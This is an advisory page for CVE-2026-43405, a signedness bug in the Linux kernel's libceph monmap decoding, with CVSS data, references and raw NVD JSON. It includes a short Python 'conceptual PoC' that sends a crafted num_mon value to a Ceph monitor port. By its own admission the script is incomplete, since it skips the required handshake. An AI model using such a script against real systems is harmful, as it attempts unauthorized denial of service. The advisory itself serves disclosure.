CVE-2026-43405

Description

In the Linux kernel, the following vulnerability has been resolved: libceph: Use u32 for non-negative values in ceph_monmap_decode() This patch fixes unnecessary implicit conversions that change signedness of blob_len and num_mon in ceph_monmap_decode(). Currently blob_len and num_mon are (signed) int variables. They are used to hold values that are always non-negative and get assigned in ceph_decode_32_safe(), which is meant to assign u32 values. Both variables are subsequently used as unsigned values, and the value of num_mon is further assigned to monmap->num_mon, which is of type u32. Therefore, both variables should be of type u32. This is especially relevant for num_mon. If the value read from the incoming message is very large, it is interpreted as a negative value, and the check for num_mon > CEPH_MAX_MON does not catch it. This leads to the attempt to allocate a very large chunk of memory for monmap, which will most likely fail. In this case, an unnecessary attempt to allocate memory is performed, and -ENOMEM is returned instead of -EINVAL.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual PoC for triggering the integer overflow in ceph_monmap_decode
import socket
import struct

# Target IP and Port (Hypothetical Ceph Monitor port)
target_ip = "192.168.1.100"
target_port = 6789

# The vulnerability is triggered by sending a crafted monmap
# where the 'num_mon' field is a very large u32 value.
# If num_mon is set to 0xFFFFFFFF, it becomes -1 in a signed int.

bad_num_mon = 0xFFFFFFFF  # Max u32, interpreted as -1 in signed int

# Constructing a simplified payload representing the monmap structure
# struct ceph_monmap { __le32 epoch; __le32 num_mon; ... }
# We set num_mon to the malicious value
payload = struct.pack("<II", 1, bad_num_mon)

try:
    # Sending the malicious payload to the target
    # Note: Actual exploitation requires a valid Ceph protocol handshake
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.send(payload)
    print("[+] Malicious packet sent to trigger memory allocation failure.")
    s.close()
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43405
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43405
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43405/
[4] VulDB https://vuldb.com/cve/CVE-2026-43405
[5] https://git.kernel.org/stable/c/08bc6173fd611ad5a40f472bf5f15b92aea0fe40
[6] https://git.kernel.org/stable/c/5f2806684b05bd24d05c091083b8e2517ba8ffac
[7] https://git.kernel.org/stable/c/770444611f047dbfd4517ec0bc1b179d40c2f346
[8] https://git.kernel.org/stable/c/86f7060cd638d6eb042e8ed780fb83a59ca0dcb3
[9] https://git.kernel.org/stable/c/b268984ae88cb0dcd7a8e8263962c748448e26e8
[10] https://git.kernel.org/stable/c/ba0a4df8c563536857dcbf7b4dbd0f2a15f57ace
[11] https://git.kernel.org/stable/c/ee5588e2bc41acb73f6676c0520420c107cd0140

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43405", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:52.013", "lastModified": "2026-05-11T08:16:13.147", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: Use u32 for non-negative values in ceph_monmap_decode()\n\nThis patch fixes unnecessary implicit conversions that change signedness\nof blob_len and num_mon in ceph_monmap_decode().\nCurrently blob_len and num_mon are (signed) int variables. They are used\nto hold values that are always non-negative and get assigned in\nceph_decode_32_safe(), which is meant to assign u32 values. Both\nvariables are subsequently used as unsigned values, and the value of\nnum_mon is further assigned to monmap->num_mon, which is of type u32.\nTherefore, both variables should be of type u32. This is especially\nrelevant for num_mon. If the value read from the incoming message is\nvery large, it is interpreted as a negative value, and the check for\nnum_mon > CEPH_MAX_MON does not catch it. This leads to the attempt to\nallocate a very large chunk of memory for monmap, which will most likely\nfail. In this case, an unnecessary attempt to allocate memory is\nperformed, and -ENOMEM is returned instead of -EINVAL."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://git.kernel.org/stable/c/08bc6173fd611ad5a40f472bf5f15b92aea0fe40", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5f2806684b05bd24d05c091083b8e2517ba8ffac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/770444611f047dbfd4517ec0bc1b179d40c2f346", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/86f7060cd638d6eb042e8ed780fb83a59ca0dcb3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/b268984ae88cb0dcd7a8e8263962c748448e26e8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ba0a4df8c563536857dcbf7b4dbd0f2a15f57ace", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ee5588e2bc41acb73f6676c0520420c107cd0140", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}